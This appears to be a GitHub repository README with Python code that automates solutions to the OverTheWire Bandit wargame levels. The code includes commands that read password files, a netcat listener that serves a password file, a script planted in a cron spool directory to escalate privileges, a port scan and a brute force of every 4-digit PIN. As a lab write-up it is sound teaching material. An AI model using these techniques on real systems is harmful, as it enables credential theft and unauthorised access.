Skip to content

This repo contains my automation of the bandit challenges on overthewire.org written using emacs' org mode + python

Notifications You must be signed in to change notification settings

CavemanJay/overthewire-bandit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

18 Commits
 
 
 
 
 
 
 
 

Repository files navigation

OverTheWire Bandit

About

This script contains my efforts to script the solutions to the bandit challenges on OverTheWire. This makes heavy use of the paramiko module to run ssh commands

Requirements:

  • sshpass
  • pygit2
  • paramiko

Setup

import base64
import gzip
import itertools
import json
import os
import paramiko
import pygit2
import re
import shutil
import subprocess
import sys
import time
import utils

host = "bandit.labs.overthewire.org"
ssh_port = 2220
credentials = {"bandit0": "bandit0"}

def save():
    with open('bandit.progress', 'w') as f:
        json.dump(credentials, f)

def load():
    global credentials
    with open('bandit.progress', 'r') as f:
        credentials = json.load(f)

try:
    load()
except:
    pass

try:
    os.mkdir('working')
except:
    pass

print("Initializing ssh client")
ssh = paramiko.SSHClient()
ssh.load_system_host_keys()

def connect(username: str):
    creds = credentials[username]
    if isinstance(creds, str):
        ssh.connect(host, ssh_port, username=username, password=creds)
    else:
        if os.path.exists(creds[0]):
            ssh.connect(host, ssh_port, username=username, key_filename = creds[0])
        else:
            ssh.connect(host, ssh_port, username=username, password=creds[1])

def make_work_dir():
    path = '/tmp/jaydlc'
    ssh.exec_command(F'mkdir {path} && chmod 777 {path}')
    return path

def clone_repo(username: str):
    url = F"ssh://{username}-git@{host}:{ssh_port}/home/{username}-git/repo"
    creds = pygit2.UserPass(F"{username}-git", credentials[username])
    callbacks = pygit2.RemoteCallbacks(credentials=creds)
    clone_path = F"./working/{username}/repo"
    try:
        pygit2.clone_repository(url, clone_path, callbacks=callbacks)
    except ValueError as e:
        if not "exists" in e.args[0]:
            raise
    return clone_path

Bandit0 => Bandit1

def bandit0():
    print("Pwning bandit0")
    connect('bandit0')
    _, out, _ = ssh.exec_command('cat readme')
    credentials["bandit1"] = out.read().decode().strip()
    save()

Bandit1 => Bandit2

def bandit1():
    print("Pwning bandit1")
    connect('bandit1')
    _, out, _ = ssh.exec_command('cat ./-')
    credentials["bandit2"] = out.readline().strip()
    save()

Bandit2 => Bandit3

def bandit2():
    print("Pwning bandit2")
    connect('bandit2')
    _, out, _ = ssh.exec_command('cat "spaces in this filename"')
    credentials["bandit3"] = out.readline().strip()
    save()

Bandit3 => Bandit4

def bandit3():
    print("Pwning bandit3")
    connect('bandit3')
    _, out, _ = ssh.exec_command('cat ./inhere/.hidden')
    credentials["bandit4"] = out.read().decode().strip()
    save()

Bandit4 => Bandit5

def bandit4():
    print("Pwning bandit4")
    connect('bandit4')

    # Find only human readable file in the 'inhere' directory
    _, out, _ = ssh.exec_command('file ./inhere/*')
    file = [f for f in out.read().decode().split('\n') if 'ASCII' in f][0].split(":")[0]

    _, out, _ = ssh.exec_command(F'cat {file}')
    credentials["bandit5"] = out.read().decode().strip()
    save()

Bandit5 => Bandit6

def bandit5():
    print("Pwning bandit5")
    connect('bandit5')

    # Find the file with the specified properties and read it
    _, out, _ = ssh.exec_command(r'find ./inhere/ -size 1033c \! -executable -exec cat {} \;')

    credentials["bandit6"] = out.read().decode().strip()
    save()

Bandit6 => Bandit7

def bandit6():
    print("Pwning bandit6")
    connect('bandit6')

    # Find the file with the specified properties and read it
    _, out, _ = ssh.exec_command(r'find / -user bandit7 -group bandit6 -size 33c -exec cat {} \;')

    credentials["bandit7"] = out.read().decode().strip()
    save()

Bandit7 => Bandit8

def bandit7():
    print("Pwning bandit7")
    connect('bandit7')

    # Find the file with the specified properties and read it
    _, out, _ = ssh.exec_command(r'grep millionth data.txt | xargs | cut -d " " -f2')

    credentials["bandit8"] = out.read().decode().strip()
    save()

Bandit8 => Bandit9

def bandit8():
    print("Pwning bandit8")
    connect('bandit8')

    # Find the file with the specified properties and read it
    _, out, _ = ssh.exec_command('sort data.txt | uniq -u')

    credentials["bandit9"] = out.read().decode().strip()
    save()

Bandit9 => Bandit10

def bandit9():
    print("Pwning bandit9")
    connect('bandit9')

    # Find the file with the specified properties and read it
    _, out, _ = ssh.exec_command(r'strings data.txt | grep -oE "= \w*" | tail -n 1 | cut -d " " -f2')

    credentials["bandit10"] = out.read().decode().strip()
    save()

Bandit10 => Bandit11

def bandit10():
    print("Pwning bandit10")
    connect('bandit10')

    # Find the file with the specified properties and read it
    _, out, _ = ssh.exec_command('cat data.txt | base64 -d | cut -d " " -f4')

    credentials["bandit11"] = out.read().decode().strip()
    save()

Bandit11 => Bandit12

def bandit11():
    print("Pwning bandit11")
    connect('bandit11')

    # Find the file with the specified properties and read it
    _, out, err = ssh.exec_command('cat data.txt | tr "A-Za-z" "N-ZA-Mn-za-m" | cut -d " " -f4')

    credentials["bandit12"] = out.read().decode().strip()
    save()

Bandit12 => Bandit13

def bandit12():
    print("Pwning bandit12")
    connect('bandit12')

    root = os.getcwd()
    cwd = 'working/bandit12'
    try:
        shutil.rmtree(cwd)
    except:
        pass

    os.mkdir(cwd)
    os.chdir(cwd)

    sftp = ssh.open_sftp()
    sftp.get('./data.txt', './data.txt')
    sftp.close()

    os.popen('cat data.txt | xxd -r > data2.gz').read()
    utils.gzip_decompress('data2.gz', 'data3.bz2')
    utils.bzip2_decompress('data3.bz2', 'data4.gz')
    utils.gzip_decompress('data4.gz', 'data5.tar')
    utils.tar_decompress('data5.tar', 'data6')
    utils.tar_decompress('data6/data5.bin', 'data7')
    utils.bzip2_decompress('data7/data6.bin', 'data8.tar')
    utils.tar_decompress('data8.tar', 'data9')
    utils.gzip_decompress('data9/data8.bin', 'data10')

    with open('data10', 'r') as f:
        credentials["bandit13"] = f.read().split(' ')[-1].strip()

    os.chdir(root)
    save()

Bandit13 => Bandit14

def bandit13():
    print("Pwning bandit13")
    connect('bandit13')

    root = os.getcwd()
    cwd = 'working/bandit13'
    try:
        shutil.rmtree(cwd)
    except:
        pass

    os.mkdir(cwd)
    os.chdir(cwd)

    sftp = ssh.open_sftp()
    sftp.get('./sshkey.private', './bandit14_id_rsa')
    sftp.close()

    credentials["bandit14"] = [os.getcwd() + '/bandit14_id_rsa']

    os.chdir(root)
    save()

Bandit14 => Bandit15

def bandit14():
    print("Pwning bandit14")
    connect('bandit14')

    bandit14_pass_file = '/etc/bandit_pass/bandit14'
    _, out, _ = ssh.exec_command('cat ' + bandit14_pass_file)

    bandit14_creds = credentials['bandit14']

    passwd = out.read().decode().strip()
    if (len(bandit14_creds) == 1):
        bandit14_creds.append(passwd)
    else:
        bandit14_creds[1] = passwd

    _, out, _ = ssh.exec_command(F'nc localhost 30000 < {bandit14_pass_file} | xargs | cut -d " " -f2')
    credentials['bandit15'] = out.read().decode().strip()
    save()

Bandit15 => Bandit16

def bandit15():
    print("Pwning bandit15")
    connect('bandit15')

    stdin, out, err = ssh.exec_command('ncat -v --ssl localhost 30001')

    print(err.readline())
    print(err.readline())
    print(err.readline())
    print(err.readline())
    print(err.readline())
    print(err.readline())

    stdin.write(F"{credentials['bandit15']}\n")
    out.readline()
    passwd = out.readline().strip()

    credentials['bandit16'] = passwd

    save()

Bandit16 => Bandit17

def bandit16():
    print("Pwning bandit16")
    connect('bandit16')

    _, out, _ = ssh.exec_command('nmap -p 31000-32000 localhost')

    nmap_scan = out.read().decode()
    ports = re.findall(r'^[0-9]{5}', nmap_scan, re.MULTILINE)

    for port in ports:
        _, out, _ = ssh.exec_command(F'cat /etc/bandit_pass/bandit16 | openssl s_client -connect localhost:{port} -quiet 2>/dev/null')
        response_header = out.readline()
        if "Correct" in response_header:
            rsa_key = out.read().decode()
            break

    try:
        os.mkdir('working/bandit16')
    except:
        pass

    file_path = 'working/bandit16/bandit17_id_rsa'
    with open(file_path, 'w') as f:
        f.write(rsa_key)

    credentials['bandit17'] = [os.getcwd() + "/" + file_path]
    save()

Bandit17 => Bandit18

def bandit17():
    print("Pwning bandit17")
    connect('bandit17')

    _, out, _ = ssh.exec_command('cat /etc/bandit_pass/bandit17')
    creds = credentials['bandit17']
    passwd = out.readline().strip()
    if len(creds) == 1:
        creds.append(passwd)
    else:
        creds[1] = passwd

    _, out, _ = ssh.exec_command('diff passwords.new passwords.old')
    passwd = re.findall(r'< .*$', out.read().decode(), re.MULTILINE)[0][2:]
    credentials['bandit18'] = passwd

    save()

Bandit18 => Bandit19

Trying to log in with the normal ssh command will kick us out but with paramiko it’s pretty simple.

def bandit18():
    print("Pwning bandit18")
    connect('bandit18')
    _, out, _ = ssh.exec_command('cat readme')
    credentials['bandit19'] = out.readline().strip()
    save()

The normal way would be to use the command: ssh bandit18@bandit.labs.overthewire.org -p 2220 "cat readme"

Bandit19 => Bandit20

def bandit19():
    print("Pwning bandit19")
    connect('bandit19')
    _, out, _ = ssh.exec_command('./bandit20-do cat /etc/bandit_pass/bandit20')
    credentials['bandit20'] = out.readline().strip()
    save()

Bandit20 => Bandit21

def bandit20():
    print("Pwning bandit20")
    connect('bandit20')
    port = 4444
    _, out, _ = ssh.exec_command(f'nc -lnvp {port} < /etc/bandit_pass/bandit20 & sleep 2 && ./suconnect {port}')
    passwd = [x.strip() for x in out.readlines() if len(x) == 33][0]
    credentials['bandit21'] = passwd
    save()

Bandit21 => Bandit22

The cronjob script is catting the bandit22 password file into a file in the /tmp folder every minute

connect('bandit21')
_, out, _ = ssh.exec_command('cat /etc/cron.d/cronjob_bandit22')
out.read().decode()
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
connect('bandit21')
_, out, _ = ssh.exec_command('cat /usr/bin/cronjob_bandit22.sh')
out.read().decode()
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

All we have to do is read that file

def bandit21():
    print("Pwning bandit21")
    connect('bandit21')
    _, out, _ = ssh.exec_command('cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv')
    credentials['bandit22'] = out.readline().strip()
    save()

Bandit22 => Bandit23

Another cron script for us to look at and exploit

connect('bandit22')
_, out, _ = ssh.exec_command('cat /etc/cron.d/cronjob_bandit23')
out.read().decode()
@reboot bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
connect('bandit22')
_, out, _ = ssh.exec_command('cat /usr/bin/cronjob_bandit23.sh')
"".join([x for x in out.readlines() if x.strip() != ""])
#!/bin/bash
myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname > /tmp/$mytarget

Running this bash script with the myname variable set to bandit23, we see that the output of the password file is being written to another temp file like the previous challenge.

myname='bandit23'
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
Copying passwordfile /etc/bandit_pass/bandit23 to /tmp/8ca319486bfbbc3663ea0fbe81326349
def bandit22():
    print("Pwning bandit22")
    connect('bandit22')
    _, out, _ = ssh.exec_command('cat /tmp/8ca319486bfbbc3663ea0fbe81326349')
    credentials['bandit23'] = out.readline().strip()
    save()

Bandit23 => Bandit24

More cron scripts! Except now we have to write our own

connect('bandit23')
_, out, _ = ssh.exec_command('cat /usr/bin/cronjob_bandit24.sh')
out.read().decode()
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
            timeout -s 9 60 ./$i
        fi
        rm -f ./$i
    fi
done

This script executes all script files in \/var/spool/bandit24/ Now we need to create our own script to be executed by the cronjob. We’ll just use a simple script to read the password file and put it in a temp file that we can read

def bandit23(show_progress=True):
    print("Pwning bandit23")
    connect('bandit23')
    path = make_work_dir() + "/24"
    script = f"""cat /etc/bandit_pass/bandit24 > {path}
    chmod +rw {path}""".encode()
    encoded = base64.b64encode(script).decode()
    script_path = '/var/spool/bandit24/jaydlc.sh'
    print("Sending over script to run")
    command = F'echo {encoded} | base64 -d > {script_path} && chmod +x {script_path}'
    ssh.exec_command(command)
    print("Waiting for one minute before reading password file")
    sleep_seconds = 60
    _, out, _ = ssh.exec_command(f'sleep {sleep_seconds} && cat {path}')
    for remaining in range(sleep_seconds, 0, -1):
        if show_progress:
            sys.stdout.write('\r')
            sys.stdout.write('{:2d} seconds remaining'.format(remaining))
            sys.stdout.flush()
            time.sleep(1)

    passwd = out.readline().strip()
    if show_progress:
        sys.stdout.write('\rRetrieved password! Password is ' + passwd)
    credentials['bandit24'] = passwd
    save()

Bandit24 => Bandit25

def bandit24():
    print("Pwning bandit24")
    connect('bandit24')

    root = os.getcwd()
    cwd = 'working/bandit24'
    try:
        shutil.rmtree(cwd)
    except:
        pass

    make_work_dir()
    os.mkdir(cwd)
    os.chdir(cwd)

    combinations = ""

    # https://stackoverflow.com/questions/41642851/brute-force-using-python/41642913
    numbers = '0123456789'
    for c in itertools.product(numbers, repeat=4):
        pin = ''.join(c)
        combinations += F"{credentials['bandit24']} {pin}\n"

    file_name = 'combinations.txt'
    with open(file_name, 'w') as f:
        f.write(combinations)

    sftp = ssh.open_sftp()
    remote_path = '/tmp/jaydlc/combinations.txt'
    sftp.put(file_name, remote_path)
    time.sleep(4)

    command = F'cat {remote_path} | nc localhost 30002 | grep password | tail -n 1 | cut -d " " -f7'
    _, out, _ = ssh.exec_command(command)
    passwd = out.readline().strip()
    credentials['bandit25'] = passwd
    os.chdir(root)
    save()

Bandit25 => Bandit26

def bandit25():
    print("Pwning bandit25")
    connect('bandit25')

    root = os.getcwd()
    cwd = 'working/bandit25'
    try:
        shutil.rmtree(cwd)
    except:
        pass

    os.mkdir(cwd)
    os.chdir(cwd)

    sftp = ssh.open_sftp()
    sftp.get('./bandit26.sshkey', './bandit26_id_rsa')
    sftp.close()

    credentials["bandit26"] = [os.getcwd() + '/bandit26_id_rsa']

    os.chdir(root)
    save()

Bandit26 => Bandit27

Unfortunately, after getting the ssh key for bandit26, I have not figured out a way to automate the pwning of 27 due to bandit26’s login shell being more. The manual way to do it is to make your terminal really small so that more enters command mode. In command mode, press v to open vi, enter :set shell=/bin/bash to override the shell environment variable, and then enter :shell. After the bash shell has spawned, enter the command ./bandit27-do cat /etc/bandit_pass/bandit27 and you should get the password for bandit27.

Bandit27 => Bandit28

def bandit27(view_output=False):
    print("Pwning bandit27")
    path = clone_repo('bandit27')
    repo = pygit2.Repository(path)

    with open(F'{path}/README') as f:
        contents = f.read().strip()

    passwd = contents.split(':')[1].strip()
    credentials['bandit28'] = passwd
    save()

Bandit28 => Bandit29

The password was originally kept in one of the files. If we look at the diffs between commits we are able to find the password.

From the command line:

git log | grep -E '^commit' | cut -d " " -f2 | while read line; do git show $line; done | grep -E '\+- password: [^x<]' | cut -d " " -f3
def bandit28():
    print("Pwning bandit28")
    path = clone_repo('bandit28')
    repo = pygit2.Repository(path)

    for commit in repo.walk(repo.head.target):
        diff = repo.diff(commit.parents[0], commit).patch
        break

    matches = re.findall(r'password: (.*)', diff, re.MULTILINE)
    passwd = matches[0]
    credentials['bandit29'] = passwd
    save()

Bandit29 => Bandit30

The password is found in the dev branch of the repository. You can find what branches are on the remote by running the command git branch -r.

def bandit29():
    print("Pwning bandit29")
    path = clone_repo('bandit29')
    repo = pygit2.Repository(path)
    branches = [b.decode() for b in repo.raw_listall_branches(pygit2.GIT_BRANCH_ALL)]
    #x=repo.lookup_branch('origin/dev', pygit2.GIT_BRANCH_REMOTE)
    repo.checkout('refs/remotes/origin/dev')

    with open(F'{path}/README.md') as f:
        contents = f.readlines()[-2]

    passwd = contents.split(' ')[2].strip()
    credentials['bandit30'] = passwd
    save()

Bandit30 => Bandit31

For this repository we have to read the secret tag. From the cli: git show secret.

def bandit30():
    print("Pwning bandit30")
    path = clone_repo('bandit30')
    repo = pygit2.Repository(path)

    tag_name = 'secret'
    obj = repo.revparse_single(tag_name)

    passwd = obj.data.decode().strip()
    credentials['bandit31'] = passwd
    save()

Bandit31 => Bandit32

def bandit31():
    print("Pwning bandit31")
    path = clone_repo('bandit31')
    repo = pygit2.Repository(path)

    with open(path + "/key.txt", 'w') as f:
        f.write("May I come in?")

    try:
        os.unlink(path + "/.gitignore")
    except:
        pass

    index = repo.index
    index.add("key.txt")
    index.write()

    out = os.popen(
        F"cd {path} && sshpass -p '{credentials['bandit31']}' git push origin master 2>&1").read()

    passwd = re.findall(r'password.*\nremote: (\w+)', out, re.MULTILINE)[0]
    credentials['bandit32'] = passwd
    save()

About

This repo contains my automation of the bandit challenges on overthewire.org written using emacs' org mode + python

Resources

Stars

Watchers

Forks

Languages